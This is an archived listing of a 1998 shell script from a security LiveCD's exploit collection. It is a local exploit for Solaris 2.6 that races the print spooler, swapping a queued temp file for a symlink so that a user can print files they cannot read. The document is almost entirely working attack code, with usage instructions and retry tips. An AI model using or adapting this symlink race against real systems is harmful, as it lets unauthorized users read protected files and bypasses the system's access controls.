home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / printd.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  1KB  |  50 lines

  1. #!/bin/sh
  2. #
  3. #Print unreadable files on solaris2.6
  4. #sili@l0pht.com
  5. #
  6. # --If it didn't work, change $BIGFILE to
  7. #   something bigger.
  8. #
  9. # --Script usually works 80% of the time..
  10. #   Didn't work? Try again.. Throw something
  11. #   at the printspooler to slow it down.
  12. #
  13.  
  14. TMPFILE="./.dmlr"
  15. BIGFILE="/usr/lib/libc.so.1"
  16.  
  17. if [ $# != 1 ]; then
  18.         echo "Usage:"
  19.         echo
  20.         echo "./sol26lp <file>"
  21.         echo
  22.         echo "Print unreadable files on Solaris2.6"
  23.         echo "                  ----sili@l0pht.com"
  24.        exit 1
  25. fi
  26.  
  27. echo "Need a large file to print, using $BIGFILE."
  28. cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
  29. lp $TMPFILE ;
  30. #sleep 1;
  31.  
  32. rm $TMPFILE ; ln -s $1 $TMPFILE
  33.  
  34. QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`
  35.  
  36. echo "Queue File: /var/spool/print/$QF"
  37.  
  38. while [ -h /var/spool/print/$QF ]; do
  39.         echo "Waiting for file to print";
  40.         sleep 1;
  41. done
  42.  
  43. echo "File printed. Erasing temp files."
  44. rm $TMPFILE
  45.  
  46. echo "Done."
  47. echo
  48. echo " --sili@l0pht.com 1/20/98"
  49.  
  50. #                 www.hack.co.za           [2000]#